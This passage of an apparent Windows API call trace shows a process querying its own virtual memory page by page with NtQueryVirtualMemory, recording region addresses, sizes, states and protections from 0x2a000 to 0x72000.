VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x2a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x2b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x2c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x2d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x2e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x2f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x31000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x31000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x32000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x32000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x33000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x33000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x34000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x34000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x35000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x35000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x36000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x37000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x37000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x38000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x38000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x39000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x39000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x3a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x3b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x3c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x3d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x3e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x3f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x40000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x40000, AllocationBase=0x40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x41000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x41000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x42000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x42000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x43000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x44000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x44000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x45000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x45000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x46000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x46000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x47000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x47000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x48000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x48000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x49000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x49000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x4a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x4b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x4c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x4d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x4e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x4f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x39000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x51000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x38000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x52000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x52000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x37000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x53000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x53000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x36000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x54000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x35000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x55000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x55000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x34000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x56000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x56000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x33000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x57000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x57000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x32000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x58000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x58000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x31000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x59000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x59000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x30000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x5a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x5b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x5c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x5d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x5e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x5f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x60000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x60000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x29000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x61000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x28000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x62000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x62000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x27000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x63000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x63000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x26000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x64000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x64000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x25000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x65000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x24000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x66000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x66000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x23000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x67000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x67000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x22000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x68000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x68000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x21000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x69000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x69000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x20000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x6a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x6b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.346] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x6c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x6d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x6e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x6f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x70000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x19000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x71000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x71000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x18000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x72000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x72000, 